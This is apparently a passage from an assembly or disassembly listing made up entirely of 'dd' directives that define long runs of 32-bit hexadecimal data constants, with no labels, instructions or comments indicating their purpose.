		dd 0DFA7F488h, 8D35E9EDh, 24D0289Eh, 30BF9B27h,	0F5111CC5h
		dd 1EC0E1C0h, 926846EFh, 0CA08C6F7h, 5200209Bh,	3A29E1CBh
		dd 3E0C1E4Ch, 0AD809AC2h, 5A288105h, 0D231FC15h, 309C6168h
		dd 48E52C70h, 637E18ACh, 11D8085Ch, 4B3E2003h, 88853871h
		dd 0D2467F1Ch, 65590DB8h, 10A0B1D1h, 8401F8D9h,	62B9D85Bh
		dd 0FE477000h, 2718E1E7h, 54E048F4h, 0A463007Dh, 202BD586h
		dd 0F101A1DDh, 0EF4268E6h, 88F07CE4h, 0FD6E38BEh, 4372D280h
		dd 5102A71Eh, 87EE1D00h, 0BF628B29h, 780EE08h, 0C93EDD0h
		dd 0B70A1046h, 8CB0719Bh, 0BD122F16h, 2CB4901h,	0F4610144h
		dd 1B5420h, 9C9EFEEDh, 0F13D9F6Eh, 3D47D358h, 0DD849DE6h
		dd 57ADCD40h, 463C23h, 88BD7C69h, 912B3534h, 830D0103h
		dd 0F85BE4B1h, 1643BD7h, 28718DC0h, 0DD927D95h,	193B3061h
		dd 5440FAEFh, 0EB1E9F67h, 310015ECh, 0A8BD5EB7h, 0EA789F0Ah
		dd 0FED550C0h, 0DAF74Eh, 6D153550h, 0F811295Eh,	0D29B2500h
		dd 85C3B967h, 0A0100D5h, 270E9E34h, 6F2F30F5h, 0EC83F8B3h
		dd 23C1F6Ah, 0D2830B5h,	1D00B61Eh, 0A8CB890Ah, 0FC7D8Bh
		dd 1ACE35F6h, 33E1F238h, 208AFA03h, 0FEB22F37h,	0C3750318h
		dd 9F53AE7Dh, 7A73490Fh, 2A6FA08Ah, 6ED0BFD9h, 0CC61703Ah
		dd 0D1F95176h, 859FC584h, 0E4207CE8h, 0B1599441h, 7E4422Bh
		dd 0FF1500CAh, 0E0FA08DEh, 0F8C12754h, 9ECCB201h, 0F2D015C3h
		dd 600880Ah, 2AF7FBA2h,	4130BA07h, 698019EBh, 0A07C0CCBh
		dd 4DFA207Eh, 0E5AF6D01h, 0A610E456h, 38338D0h,	0EE271429h
		dd 0FBE8F160h, 0FF07D396h, 0E727D1Ah, 42ED7B21h, 7D322EE8h
		dd 0B96075Fh, 607D54E2h, 0D5B394E4h, 0CD281C60h, 33039FAh
		dd 7F1E8352h, 83373AAh
		dd 981721C3h, 6774F39h,	0C2FEF131h, 75304840h, 0CDEE69B9h
		dd 0A57E00F5h, 1E964AAEh, 0C2EFC25h, 5900FFDFh,	9B6B062Ch
		dd 3071600Ah, 0AFB90E1Ch, 2FFA53E4h, 0A2830700h, 0FD05883Ch
		dd 60E96FD6h, 582150E8h, 0CB18CE71h, 944CAF03h,	0E1C97078h
		dd 0C0E630BDh, 3A8E916Ah, 94D28C0Fh, 20901C28h,	0E800779Bh
		dd 0C75C373Eh, 37A2F0Eh, 79410C43h, 5A188AD3h, 7C39E875h
		dd 1A87F8Ch, 0D69F8E65h, 0D188BE9Dh, 222187BAh,	7FA0A894h
		dd 3DDD97h, 2D032F71h, 0CC56D344h, 0A0403201h, 852ED0EAh
		dd 1726BF70h, 0EBDE466Eh, 3F95400h, 12B990Eh, 0D5AE23B7h
		dd 0DC6FED08h, 0FA764E26h, 5BF9AC00h, 0D6F64067h, 0F8140706h
		dd 8024BEF3h, 0F9AD0EFBh, 187FEC00h, 0E0225898h, 8E4009CAh
		dd 1680D2DEh, 7F50959Fh, 3000C3F8h, 64C45417h, 8D1D62h
		dd 36693526h, 32297C3Dh, 97438C00h, 0FEC420BFh,	7E7A3C12h
		dd 7B6F6980h, 686DF684h, 0F4C6913Fh, 0C7FF9400h, 97079E08h
		dd 3AFEF82Eh, 0DE07697Bh, 809B0ECEh, 7D9E68C7h,	442008D8h
		dd 0A85B04B1h, 3CDFA6h,	0CE4F1208h, 319F67E8h, 0B1E5B321h
		dd 1F001196h, 0DAB6024Ah, 26CAC0D7h, 31E051C3h,	0C798E750h
		dd 87FD2907h, 81209F6Ah, 0E6CBD46h, 0BEE812BAh,	33ABF361h
		dd 84B88DB2h, 97D491D3h, 3AB930CCh, 42283110h, 6F567503h
		dd 0CEAE4CBh, 8E8B3B59h, 1730CEE1h, 0F895199Ch,	3DD9DE45h
		dd 0E37B21E2h, 70BE5E2Dh, 62A3E800h, 0F49B85ADh, 18B64534h
		dd 3C691C3h, 4EC3E741h,	5EAD1427h, 0F1160C8Ch, 0D460D5A9h
		dd 0EED37A29h, 926A3D32h, 60C4B100h, 328CDBFh, 0B338AF00h
		dd 0A0184E08h, 6343B841h, 0ADECB985h, 0EA15A900h, 624651F8h
		dd 9483024Ch, 0B01AF03Ah, 87F9DC80h, 0E4653E5Ah, 0E044FA10h
		dd 0D450D579h, 8430ED22h, 8094A1F9h, 11330031h,	7F19973Dh
		dd 0E8037BC8h, 9E527747h, 10F05374h, 4670FA12h,	99C3EC14h
		dd 364AC400h, 0B2346B03h, 7640B7AEh, 2D01CAA5h,	0DF854683h
		dd 5440E4D0h, 1F35E086h, 683C086Ah, 7774890Ch, 0E55660h
		dd 1D611698h, 0D5ABB52Dh, 0F183CE2h, 8299143h, 0FD3D011Ch
		dd 4F50285Eh, 0A4C2282h, 7CDA209Eh, 0DF527304h,	0CB210C1Fh
		dd 0B060EC19h, 54597D49h, 9A85197Eh, 208828E9h,	6A48C390h
		dd 73B89804h, 16623802h, 673AF452h, 95B81345h, 98C1382Bh
		dd 0CF527931h, 22E4CE11h, 0DD311598h, 7F622C8h,	0C8D88283h
		dd 0B597E0FBh, 81C0B8BCh, 5D78BA44h, 0B1C444CFh, 0E7E43A45h
		dd 0AC9C00ABh, 7666F218h, 8009EA7Bh, 182D947h, 0B3436DACh
		dd 9108544Ch, 7F888004h, 49503D93h, 0BD377A00h,	8A7DDEA3h
		dd 9C2250D0h, 2E7088C4h, 0B148209Ah, 0B2D48428h, 0CB9300BFh
		dd 61252CB8h, 0B4E1BE00h, 1EB6A95Ah, 0E3730609h, 49DC8F9Eh
		dd 3CD0E706h, 9011CED5h, 804B00E6h, 4AC3D3A5h, 5F7FFDDEh
		dd 695B591Dh, 7422A4EAh, 87E70EC8h, 0A0607018h,	11845C1Ch
		dd 2892C37Bh, 0FB4F0F11h, 0FD60327Bh, 904CDEE9h, 0CBF69411h
		dd 5AA66700h, 0EA2EF5B8h, 0C0CC7902h, 85D95765h, 8040A1D0h
		dd 7E7156Bh, 0B69C30F9h, 5D1C0A89h, 0C817D24h, 0D5460F64h
		dd 70F861C2h, 24A9CC00h, 0BBFF1718h, 0A4C450DFh, 424892D5h
		dd 0B26F00DEh, 961BE5CBh, 0BC0E00DBh, 0EB183B0Dh, 0F34DAB8Fh
		dd 514780D8h, 3ECEDD2Bh, 9E40E532h, 79D91637h, 805943C6h
		dd 899B0F08h, 99884031h, 11D3DDF5h, 1C1B2200h, 0C99DB034h
		dd 983860D1h, 0D9040A23h, 69365059h, 0CFD508D1h, 3C176180h
		dd 0B5BC3E26h, 817431EDh, 389F7458h, 89940B11h,	20050F6h
		dd 893C1E22h, 0F4982952h, 0CC9250A4h, 3AB1E711h, 1A4316h
		dd 0E9DA023Ah, 8F00D7FDh, 0EC7191E1h, 1777DA3h,	1781688Dh
		dd 93691E45h, 0E83008C1h, 8DB383h, 0CDE3D488h, 0B11636D9h
		dd 0E261EF61h, 44E02D2Fh, 5D7300BCh, 0AD4CB69Eh, 0FB02A6E8h
		dd 15FA20ECh, 0EA4A208h, 0C1F610EBh, 37D7D1C0h,	1FA2FCAh
		dd 0AF2A3DA4h, 616726D9h, 0E49020DEh, 0F8861605h, 0A84A694Eh
		dd 84127C1Fh, 0CD0A1C20h, 85C63E16h, 0A4BAB783h, 0FE939EB0h
		dd 87516EF8h, 0F530C564h, 6B1F3240h, 0D902D267h, 9D8AE6E7h
		dd 30A48917h, 0E9C614h,	1D451204h, 2D9AE80Ch, 72F663Dh
		dd 0E78A8AAh, 0F035FA4h, 0A143CA4Bh, 72300090h,	0FA7804Ah
		dd 62860035h, 0C4367C0Eh, 55166A7Eh, 0A0705231h, 34B49F1h
		dd 0BC1A2333h, 21301C77h, 0D418B9F8h, 0F0A600BAh, 5BEB666Fh
		dd 0BF047F33h, 6D235CE3h, 7D3B54D0h, 15C8779Eh,	0EC503EF8h
		dd 44449C26h, 0A1F140E0h, 98FDCCh, 5337425Fh, 0C6BD3102h
		dd 80E3C9C8h, 145CC0F5h, 0AE1D4AD3h, 6201E634h,	0C7D23CC2h
		dd 1C1FF826h, 9C2E4F4Eh, 7C0B4348h, 31A49069h, 2CCF24CCh
		dd 813740B0h, 0DDF80138h, 8C7D88h, 0D05B77CDh, 2A997A86h
		dd 0A4C10769h, 0F057F14h, 806C8D48h, 0DE704440h, 0D0C0F6BAh
		dd 25078431h, 0F042D685h, 0B2DC4ECAh, 8EC4ED58h, 0B71B8023h
		dd 1B0BC81h, 0E798C44Fh, 508D9659h, 17B949A4h, 0DE1F1F70h
		dd 706035EFh, 619A0018h, 215B1603h, 3A009B2Dh, 96D366EFh
		dd 1676C1E3h, 30E6F0D5h, 820A7054h, 4F27020Eh, 0EB4823BDh
		dd 0C3A91D2Eh, 0C6293218h, 0D8D2E846h, 88303800h, 0B109E5DAh
		dd 58BC2C88h, 0BB01476Eh, 0F6CA43D7h, 3100B04Ah, 0FCA2360Fh
		dd 64890869h, 56119D4h,	0DF440F71h, 9E225C22h, 52CB4202h
		dd 40A7DB56h, 50997B5h,	0D66AB3FCh, 2CD4DCA2h, 8C980300h
		dd 5913A4F9h, 0BDA70EC3h, 0D7211CB9h, 91B310F0h, 71D330h
		dd 0EA395338h, 0B5F6BD81h, 5EF6200h, 0E1EE6518h, 6E69172Dh
		dd 9BC7340h, 2C46E2F0h,	7973300h, 0A552C94Bh, 8E372EF6h
		dd 29DC1118h, 3FD4ECh, 98D65886h, 208BE6h, 6FBE6D05h, 0C2346873h
		dd 0EB70477Bh, 0EF22A8BAh, 0FC5D3AACh, 7EE38C00h, 6C1ECED8h
		dd 22181B58h, 81340591h, 49797D33h, 0C0B088ACh,	27F9A816h
		dd 0C68500DCh, 0B959811Bh, 0BD2D3896h, 8DA17001h, 48732ED2h
		dd 22840BCCh, 1BF86540h, 9A19FF69h, 53A46030h, 81D83A07h
		dd 0DB742C85h, 5BE4703Ch, 0F7077CC8h, 0ABC09D7h, 3DE69D40h
		dd 0B78F3295h, 0A3125D69h, 78E16AA4h, 644B0F49h, 2178A4Fh
		dd 5A5281E8h, 0E9014C51h, 512DA95Fh, 1C004822h,	2FDF796Ch
		dd 8EFE62B8h, 900F8301h, 87C8515h, 0FB229067h, 0D4F2B302h
		dd 0A482B7DDh, 4F321884h, 0A264E41Bh, 8F9F1C9Ch, 0A1952C40h
		dd 19261EA8h, 6928D9C0h, 0E1B41097h, 4B1D01CAh,	0D534BA83h
		dd 6A599D39h, 0DCE55422h, 3410880Ch, 0AB3CAD01h, 6021BEE1h
		dd 3A565C70h, 238FB769h, 51A4A3D7h, 7C0088E0h, 7F80F0B3h
		dd 8ED9BE48h, 36E224A1h, 7D9EC118h, 1CA7E2C4h, 0DC66C9FAh
		dd 907EB51Eh, 9C08CFD3h, 179E86E2h, 0EC1839D0h,	1CC99639h
		dd 0C0FD00C6h, 9A811D42h, 0A902C4BBh, 8D20D831h, 0DC4C69h
		dd 0F2A80F6h, 280474C0h, 637CEF00h, 1D6210C3h, 0C0B154B2h
		dd 88E444Ch, 92DE9520h,	9E53172Ch, 444C2375h, 4D1CBEA8h
		dd 846CA14Ch, 0DE4FE61Fh, 0ABE025Fh, 40C4AE2Ah,	0F4CF6600h
		dd 1C32D4E3h, 0FB1D02DAh, 0DF5B260Ch, 995884B8h, 0B3ABD509h
		dd 86491C4h, 93888447h,	0E95C917Fh, 4CCC14E5h, 22BE02D2h
		dd 0EF38DD3Bh, 10EBA872h, 3F7786h, 3AA36CA7h, 0C279D999h
		dd 5E261C17h, 69A202AFh, 640FCEh, 3EF72209h, 46A06457h
		dd 0DFA11279h
		dd 500088h, 6D35812Eh, 0E6145492h, 58783C59h, 2738A038h
		dd 1413009Bh, 80478D64h, 15F656E9h, 9E187A28h, 1EC3125h
		dd 878B4464h, 26A93FF0h, 40B0F12Fh, 53457357h, 0BF589BFAh
		dd 87007097h, 0A92630A8h, 0C560E09h, 0B1CEA82h,	0E452B1C1h
		dd 0B6D60384h, 0F98ACC91h, 0B4497344h, 9814C6E1h, 0D4918484h
		dd 0F44B0300h, 2D2569h,	4C2A9A02h, 0E5A46C96h, 3574189Ah
		dd 0C07C160Bh, 0E7E83060h, 8B3B1379h, 0D5400983h, 0EB43068h
		dd 6F9DC626h, 0E14E0500h, 0A318DBBh, 0B22E4D47h, 24340B2Ch
		dd 2A8C7881h, 1CCEE28Dh, 0A0093100h, 18BED82Bh,	7801015Fh
		dd 0CD9A93Eh, 11D188B4h, 80B4E1h, 92B6A074h, 6405B386h
		dd 9E4DF46h, 7BEFE88Ch,	7CDD0790h, 62C35F1Ah, 2064B36Bh
		dd 14B03101h, 36F42902h, 0B9241423h, 0ADAC4048h, 4900E815h
		dd 31122275h, 991DC21Eh, 0A1B4A444h, 1D5CAC88h,	407EDD2Eh
		dd 0A25CCFDEh, 0C459B9C9h, 89C58034h, 0FE2E7B39h, 8DD000A7h
		dd 31D9B181h, 374BC117h, 2BACA032h, 1EC50057h, 3A89AA6Ah
		dd 78245556h, 22443990h, 746E3A07h, 0B7737F79h,	7347B087h
		dd 0BC512FBh, 0A1CC82Eh, 5F1389C0h, 5C82DBh, 74D551CEh
		dd 6FE78F14h, 5C063726h, 0D7CA6E1h, 5A1C20h, 9BC10A44h
		dd 11F4AB2Eh, 979260Eh,	0A959D8B9h, 670800F6h, 3BC373B2h
		dd 690FABADh, 901FE5EAh, 9E64E704h, 21E8B253h, 0D13C0916h
		dd 67C3BC18h, 5840964Fh, 3536045h, 0E24D01D0h, 63C3E7DDh
		dd 468010FFh, 10C828F5h, 1DF484CCh, 2DC6789Eh, 0F04A983Ah
		dd 4088F808h, 1FCE3B09h, 7014C801h, 0BE93A7BCh,	4A12E4h
		dd 0DC2F8128h, 965D221Ah, 0F8EFA306h, 4460062Bh, 0B8B0E7CFh
		dd 365C5209h, 318060DDh, 6D4C2880h, 54EC86C0h, 2DAC34h
		dd 4DAA5DBh, 90977037h,	107AD800h, 948C09CDh, 0E6480D44h
		dd 8831EACEh, 8AC58BD0h, 27746970h, 5AF56038h, 8A002871h
		dd 47EB15D5h, 10CEC16h,	0F34C58DAh, 0D33FC130h,	0AC17B90Dh
		dd 4033A981h, 0FF51A800h, 0A7C91ED3h, 0BFBDEA00h, 0F89890CCh
		dd 10B52073h, 182DB0B4h, 22E698h, 0D0E59759h, 86A2B94Eh
		dd 38809F1Eh, 24D19D92h, 8628A8Bh, 7CE92D11h, 8842F64Fh
		dd 8082CFACh, 0F91990CBh, 10AE0D0h, 11E708F2h, 9509D1E0h
		dd 0C0ACC1F9h, 0C315884Eh, 6F8B005Bh, 0B3F94655h, 7D02AA8Ch
		dd 3E0758D9h, 8FA8A231h, 0D8032BC1h, 0D0A2E012h, 76E85863h
		dd 0E61DCF77h, 333F2581h, 0A4B26908h, 20A9D207h, 4368E7ABh
		dd 1A4F8303h, 2265C2CEh, 0C4056A29h, 0E4249DE9h, 0D32254A2h
		dd 0EFA90A0Ch, 1DE9D6EBh, 80F86EA2h, 51468113h,	9F8E3AFh
		dd 0B8AC40B9h, 0F9686811h, 3A9211A0h, 2C4A084h,	0D502CCAh
		dd 0F8D2A8D9h, 335AE902h, 793C9D7Eh, 0A4CD00E4h, 5CE06938h
		dd 0BD24B105h, 0AC63FDC1h, 0BA710F96h, 28403385h, 30B816FBh
		dd 10B699CBh, 0CE6390h,	1E012D5Fh, 74CD54B8h, 4176BC00h
		dd 36434B3Fh, 0C4114C14h, 0C914C62Eh, 1B853080h, 1464F257h
		dd 7CB4ECF1h, 0E81D1F70h, 0B2904063h, 5BE03AD0h, 0F13E0B01h
		dd 48C72037h, 77631834h, 254288E7h, 8183F091h, 87D63ECDh
		dd 976BD50h, 982E8DBh, 3C02C161h, 40C6A409h, 784ED800h
		dd 0FDF7796Eh, 0B18315D0h, 0D4C0EC16h, 9C989DD9h, 58804093h
		dd 331B8B80h, 0E3030035h, 83129BACh, 405A09Fh, 5E71508Eh
		dd 5B3ED4C8h, 7B48324Fh, 9B908C44h, 7E9E8CA8h, 99CB9899h
		dd 4210C268h, 0D6011064h, 0DE7E28CFh, 0C69723h,	52011C08h
		dd 0B3960F03h, 0F3A6E9E6h, 70711677h, 18103009h, 1900B476h
		dd 3B04562Ch, 12221B88h, 16E5A1C6h, 1780CC94h, 867F8C0Bh
		dd 9B589170h, 39E49010h, 2810EC18h, 3916DEF1h, 60D09EE1h
		dd 0A63039E4h, 94D00AF4h, 44808F74h, 1B7C322Ch,	788265E4h
		dd 0B82E29F5h, 3C48B9EBh, 0C6009B96h, 8422DBE2h, 0F37DB5h
		dd 0D556ABAFh, 1E656A26h, 0BA40EC91h, 0DE5AA9h,	7EDC7CCDh
		dd 0C9C48F2h, 77CC9752h, 1CE8908Ah, 2E1905D4h, 40E6830Ah
		dd 42F8448Ch, 155C1EB1h, 2D0EC078h, 47834h, 87C0C3E6h
		dd 0D230A279h, 0F8B5E82Eh, 1B61450h, 3D61CE8Fh,	9199DEC6h
		dd 431FEC21h, 936D0E3Ch, 0BF10093h, 0AA6745EAh,	787D6A09h
		dd 1F8C24A2h, 0D4208424h, 34F3ECh, 7E076C36h, 395E958Dh
		dd 0F60BF3B2h, 0B89828D9h, 6F065721h, 5465733Bh, 0F06A2259h
		dd 802DD52Dh, 3F132800h, 20781F94h, 0B862C049h,	3AFF111Dh
		dd 0C072E409h, 230CC98h, 0E5032F5h, 60046EF6h, 5400E8A9h
		dd 266F386Ah, 0F30B873Eh, 1AE5A8E1h, 0EC2883F0h, 0D17C38h
		dd 61B3D60Ch, 0F18CCD9Ch, 1D4D239h, 0E42B86C9h,	9C7919C3h
		dd 0FC1CCD14h, 0C2D03FA3h, 0D500F079h, 77954676h, 79B0737Ah
		dd 1F409131h, 1EC417EFh, 1C642582h, 0E0484Ch, 0EBB0898Fh
		dd 4B3EF409h, 9E2442F6h, 0B054C579h, 0C8C0ED64h, 4D51118Ch
		dd 5A84F008h, 0C7A45496h, 0B531BC65h, 282885DDh, 351D0D22h
		dd 8C0CF28h, 0AC973FC2h, 45DA00B3h, 60A73E5Dh, 2964F025h
		dd 3BC41779h, 480FA042h, 96348497h, 0C2884040h,	9B17E5AFh
		dd 3029B36Ah, 0DFF74801h, 2D5C41E4h, 0F420EC15h, 55A2BC03h
		dd 0C3304B71h, 410F4058h, 5C964935h, 5A09BAC0h,	7B7B3D10h
		dd 820F6175h, 0A2B441A5h, 5A1AC61Ch, 0C078226Ch, 1358314Ch
		dd 4008DFB3h, 4E0F8B38h, 0D9009045h, 43949687h,	212F697h
		dd 384F4217h, 76C1A13Eh, 15342891h, 1EA40E84h, 0F78E5B5Ah
		dd 23DA0094h, 0AA8BF4h,	0F8D76241h, 0B00EBE5Eh,	69D09Ch
		dd 0D8825DDAh, 2BB2001Ch, 0A6502381h, 56187B0Fh, 0DE682764h
		dd 0CB1EFh, 5B2D9420h, 0F4008BF3h, 89E08AC3h, 153090Dh
		dd 0DF78BD8Fh, 6C7BCB7Ah, 11EA89C0h, 9DE8DC3Ch,	22F022AFh
		dd 585268A2h, 1214DE5Ch, 0BCD58941h, 6DE0C8h, 2671DD87h
		dd 562338Ah, 0CE1C0D1Ch, 4C8207C2h, 0A6485C78h,	0D5441348h
		dd 34540228h, 0F0E443CEh, 0A4EC1224h, 6CD46316h, 0FCB42885h
		dd 283C4908h, 2D7CF7C0h, 5A17413Ah, 44206926h, 0BFC6A6h
		dd 0EF70F120h, 5D0F3C8Dh, 1B701195h, 0A0D5240Ah, 0E84ED140h
		dd 15650052h, 0B4B78861h, 0B89E209Eh, 0A563B853h, 6E2B2h
		dd 7CF3859Dh, 31D6FD79h, 0B342D310h, 3203C622h,	78399755h
		dd 9CC9FC1Fh, 14DE21D6h, 1DBC4802h, 117104B6h, 0B4984C19h
		dd 416AD205h, 9C01CAB7h, 9159F888h, 0EF016708h,	57A6BB44h
		dd 69BEC354h, 0E17D3100h, 0F9AE72D2h, 0DD64B0B4h, 0A10060F2h
		dd 0E3239340h, 98A230AAh, 8007C84Ch, 5D4398C6h,	0B3347130h
		dd 0D53001Fh, 5CD2899Ch, 9CAE9586h, 1CE09D00h, 4748E8A7h
		dd 463400CBh, 18360875h, 0DE805067h, 0A9E86437h, 89E0A89Ch
		dd 0BCD810D5h, 0E5D116D8h, 0CC104CDDh, 0A50E2E19h, 0DDEE7E40h
		dd 71038549h, 460F894Ch, 0C15C2814h, 5679B288h,	8C187A08h
		dd 7004F2B7h, 0CF5F4EA8h, 0BD00C8B2h, 0F7677D3Bh, 0BC99DE60h
		dd 96684708h, 3A4092D5h, 0C611BC20h, 7470059h, 89AFBBF6h
		dd 56164557h, 0B600218Bh, 2E1E86D1h, 0B4C092DAh, 8C891714h
		dd 0E4B8D03Ch, 0DC475481h, 4439DD3Ah, 72FD8BAEh, 0B0C066C8h
		dd 72E145F4h, 7CD004Ch,	39739070h, 0ECEF983Bh, 8161C037h
		dd 1A6F33D2h, 0D7D52B18h, 0F7EE969h, 1F0D3152h,	0E7F28260h
		dd 0EE0BD195h, 89165D3Dh, 12CCEE80h, 8EC68B9Eh,	3FC96038h
		dd 911A3886h, 5E49048h
		dd 0AC2BCEDEh, 0D444348Ch, 0D9B21420h, 79F0F827h, 71F8093h
		dd 0C5373F31h, 86E6D09Eh, 0E549A177h, 0A40DC68h, 285BD421h
		dd 0B5510701h, 9076736Ch, 722EAE17h, 5C60C74Bh,	238B633h
		dd 9DC1BEAAh, 1029218Ch, 58278648h, 6712CCE2h, 0A04450A2h
		dd 5D9A73C1h, 23BDF02Bh, 0F15E9700h, 52A6B571h,	442F5D55h
		dd 73E66300h, 0C2117745h, 4F2C6459h, 25861030h,	0D1EF0746h
		dd 0E10EFB4Bh, 6236AE14h, 0AC457B64h, 8710012Ah, 35F81912h
		dd 9189454h, 0D8D0D7A0h, 0F2EC657Dh, 20D85E4Eh,	0C849AAB8h
		dd 0A20741EEh, 31785762h, 14F4A045h, 8D362C1h, 0B065752Ch
		dd 0C4EBD200h, 99E3E10h, 8D9C7112h, 0F48498E8h,	7BB488h
		dd 57A1256Dh, 7A50BFDAh, 7E0390FCh, 410C2F94h, 7CB10DDCh
		dd 0E2991138h, 1C0FF07Bh, 234F91E7h, 0D7E98878h, 393DC8F1h
		dd 0E700E87Fh, 0A99B4680h, 4C97E420h, 47C5343Ch, 0D3B8C394h
		dd 17F9491Eh, 2E777444h, 24C414C2h, 2C50DC7Fh, 7CE2070Dh
		dd 242039CCh, 0C0008A98h, 52DC347Ah, 8B6C763Ch,	4C0812DEh
		dd 53001CCh, 0FBB00941h, 7ECBD856h, 1C32495Eh, 5A3020E7h
		dd 0B607CF5Ch, 7B98EFC9h, 293A982Dh, 186648h, 29D533D4h
		dd 0DDA2B5h, 0D7BF9390h, 16401CCFh, 0C3A5050Bh,	34FC0144h
		dd 173B8D7Fh, 0CC749CD8h, 18FA5088h, 60206F0Eh,	0FCA10601h
		dd 0F5436D1h, 13C5759Eh, 0B8347498h, 942227F8h,	169C2CC9h
		dd 0BC14B639h, 9D095438h, 70D2D374h, 58658F5Ah,	80A8D887h
		dd 0E5CB2608h, 82E23BD0h, 0DC497203h, 0FFC579h,	33CD3141h
		dd 0DA857B43h, 0D6FCE65Ch, 7A562440h, 0B9813340h, 0A118B07Ch
		dd 9027D6Ch, 0EABD243Bh, 0A064B9h, 0C5C0AC7Fh, 8B827C2Ah
		dd 0E0C43917h, 6CE5800Bh, 956E03E8h, 1EDA8E9Ch,	6C3E7EE8h
		dd 10FF3727h, 48126B34h, 0A1A0A0EFh, 3F01B706h,	0FA9F2F29h
		dd 406D5D2Eh, 6CD4284Eh, 0A3401D01h, 64387724h,	3134622Eh
		dd 32402C74h, 0D74F30Ah, 529E6902h, 751FF029h, 5131110Bh
		dd 1E5091E6h, 0CE0FB823h, 0D897E72Ch, 0A108F4D8h, 96E07E9h
		dd 443A539Eh, 0ED400856h, 21886Bh, 0A72DE97Ch, 0BD82C05Ch
		dd 0C89E9A00h, 4B5D3339h, 6884827Fh, 0A80B52CFh, 7A101A1Ch
		dd 9D862FFCh, 0ED75CC90h, 2C4518Ah, 15D6A43Ah, 14AD3860h
		dd 11141C7Ah, 791C7129h, 0AF605801h, 0DEE15155h, 41E2BF10h
		dd 1AB94200h, 56486D9Eh, 9D930ECAh, 0A04A5A0Bh,	0DD634490h
		dd 1DC80C48h, 4C318805h, 0CC83BF9h, 1FC388FAh, 4BA1CACh
		dd 0F3ED7A00h, 0A2151ED5h, 12CBFC07h, 92DB6644h, 0EC594FACh
		dd 0D2C29D40h, 0C66724D4h, 62444360h, 97EBFDA8h, 937C9E27h
		dd 7F212694h, 0F19ECA8h, 6510416Bh, 0CE358034h,	0C853023h
		dd 0D0296A00h, 786D4F84h, 0CABA0442h, 0BCECF4D9h, 0FB1EC940h
		dd 40002604h, 6AAA311Ch, 0B09985B8h, 3B6C07B9h,	60919AF8h
		dd 8C20289Dh, 82CB911h,	9CA89916h, 0F7BD461Ch, 0D0047CD3h
		dd 0CE45C88Ah, 91D4A8E4h, 9408657Ch, 2AFB8482h,	1014252Ch
		dd 20DCF44h, 0C47C8613h, 0C4C93467h, 64743F94h,	434CB418h
		dd 3B8D0BC0h, 3C49928Bh, 0C2147DE5h, 0C4A084h, 56E13997h
		dd 6AC2938h, 6448F4D6h,	1C0A0499h, 0D87DCF26h, 3253CEC4h
		dd 94CD4B28h, 8838F820h, 1A0082CEh, 6ED1C699h, 0F868FA8h
		dd 0B6BDF739h, 0EABB4480h, 0D73D6D61h, 5978D02Eh, 266A4200h
		dd 0CBB65E16h, 0D6530145h, 37FDF460h, 90B8A7B2h, 4FD8ECh
		dd 2C7EAE66h, 0AF15DCEEh, 4A7CE30Ch, 16CE91EFh,	0D1DF5973h
		dd 428E4250h, 0C8D41270h, 68A58CA8h, 0AF597780h, 69D6C6BFh
		dd 0C88431FAh, 0C8C4BCACh, 0FCE05D5h, 22FCE2F7h, 410300D7h
		dd 5EC1754h, 81006142h,	0ADB63B30h, 270EF56Fh, 0ACA1D311h
		dd 22EFDF88h, 660C000Ch, 3C284FC3h, 1E0F2543h, 7C007C45h
		dd 5820A39Eh, 0C061001Ch, 1D1E81A2h, 382466D1h,	0E4657C18h
		dd 0E01EC4A2h, 92C28023h, 0A39A6B81h, 0BFE7DF1Fh, 18E402CBh
		dd 658CF4h, 0A7912662h,	0FCF4485Bh, 6840EF4Bh, 8FD51CE6h
		dd 0A0E90443h, 279932CFh, 553DAB4h, 80DF89E8h, 0CA658A64h
		dd 703CC124h, 0FF8E6C60h, 117200A1h, 0E4484EE1h, 0D605741Ch
		dd 0CB169E6Ah, 0A89490ACh, 4C407EC8h, 275180E9h, 50646ADCh
		dd 32C1BC00h, 38100993h, 482A0007h, 0DDCB11E9h,	161F896Ah
		dd 0E7CBDE5Dh, 80B451D9h, 63307AE1h, 0B800FC77h, 0A3739274h
		dd 11A2FA8Ch, 28A0847Bh, 4E00E014h, 10402722h, 58AFECB2h
		dd 748504C8h, 0EF944929h, 93B444C8h, 807B133Bh,	0C2A99584h
		dd 1A282B1h, 6066F91Ah,	2E179ED3h, 4094EC32h, 809F12A8h
		dd 7E0A56D5h, 44E9EBCAh, 16884C26h, 4008AEF5h, 74309650h
		dd 4941775h, 3047D80h, 96F75A31h, 0DBB28188h, 0C42B9D5Bh
		dd 1325A716h, 7BD09008h, 0FA5E0077h, 0D140EC85h, 2FF89DB0h
		dd 0B020D94Eh, 3DB7A2F6h, 0B800EB80h, 5DA0CFB3h, 3D0597E9h
		dd 6038649Ch, 1999C8Ch,	2AB70CEAh, 0D2D52B6Bh, 8DDB94A0h
		dd 5C00D786h, 1F6758ACh, 0E0B10ACAh, 0EC6C00DFh, 7710E606h
		dd 7912206Ah, 64F2E49Bh, 6323B400h, 0B800CEBh, 4E1DDB71h
		dd 0F040D406h, 0D66DAD81h, 0B1E80355h, 0D9A298B2h, 849A7FA0h
		dd 6B2D1814h, 0B4D322BCh, 349440C0h, 0E2004DDDh, 0DC59FD9Dh
		dd 703CB9Ah, 2CA5C024h,	0C45ED0BDh, 0D7000937h,	0DFA939CEh
		dd 7B06DFDh, 7AF38BF2h,	620A4016h, 0DC0001D6h, 1ED9152Ch
		dd 0C0ADD70Fh, 821BF931h, 4200DAE3h, 1C86D264h,	1E019B05h
		dd 0A413E6h, 89DE0E8Eh,	0DF00B36Bh, 9F0B39B9h, 9CE230h
		dd 2EBD31EBh, 0B037CFCEh, 0B22C5450h, 0F118F651h, 1906D353h
		dd 0D5965417h, 2C080111h, 1CABE7CBh, 750BCC11h,	61704F00h
		dd 0DFA8E9B8h, 38836090h, 158C66B9h, 6517D700h,	0C0C59E36h
		dd 39350705h, 903CA703h, 54AC1F11h, 36CEA908h, 37A0864Ch
		dd 31F87128h, 0EB197067h, 0E199E380h, 195C0113h, 90278797h
		dd 0F321874Bh, 40C09801h, 52A76FC3h, 0BE2284A0h, 0EB764F1Ch
		dd 1EA178C0h, 0F3C7ABDh, 5E2853D2h, 4394AC0h, 0A840EA90h
		dd 44C20072h, 3C3EDA71h, 0AF0089B6h, 0FBC142EDh, 0C4CB0A1h
		dd 2C35E069h, 1300D981h, 0E0B5F9Eh, 233F54h, 45BBE618h
		dd 0B89C5C36h, 9929C10Eh, 0A99178A0h, 0A89130E4h, 152F0641h
